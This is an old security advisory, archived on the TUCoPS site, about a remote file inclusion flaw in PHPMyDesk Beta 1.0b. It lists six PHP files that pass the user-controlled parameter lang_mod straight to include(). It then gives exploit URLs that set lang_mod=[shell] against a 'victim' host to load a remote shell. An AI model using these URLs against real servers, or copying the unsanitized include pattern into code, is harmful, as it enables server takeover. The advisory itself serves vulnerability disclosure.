Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: PHP :: tb11216.htm

PHPMyDesk Beta Release 1.0b ==> RFI



PHPMyDesk Beta Release 1.0b ==> RFI
PHPMyDesk Beta Release 1.0b ==> RFI




script:PHPMyDesk  Beta Release 1.0b ==> RFI
dir url:http://www.cynux.com/phpmydesk/ 
author: titanichacker
contact:the-modest-pirate@hotmail.com 
H.P : http://hack-teach.com & mohandko.com & tryag.com 
bug in:
./index.php
include($lang_mod);
./login.php
include($lang_mod); 
./logout.php
include($lang_mod);
./subticket.php
include($lang_mod);
./viewall.php
include($lang_mod);
./viewticket.php
include($lang_mod);

exploit:
httpL//victim/index.php?lang_mod=[shell]
httpL//victim/login.php?lang_mod=[shell]
httpL//victim/logout.php?lang_mod=[shell]
httpL//victim/viewall.php?lang_mod=[shell]
httpL//victim/viewticket.php?lang_mod=[shell]

thanx
       cold-zero & mohandko & drbaka & arb-hawk & tryag & xp10 & milw0rm
_________________________________________________________________
Play free games, earn tickets, get cool prizes! Join Live Search Club.=A0
http://club.live.com/home.aspx?icid=CLUB_wlmailtextlink 


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH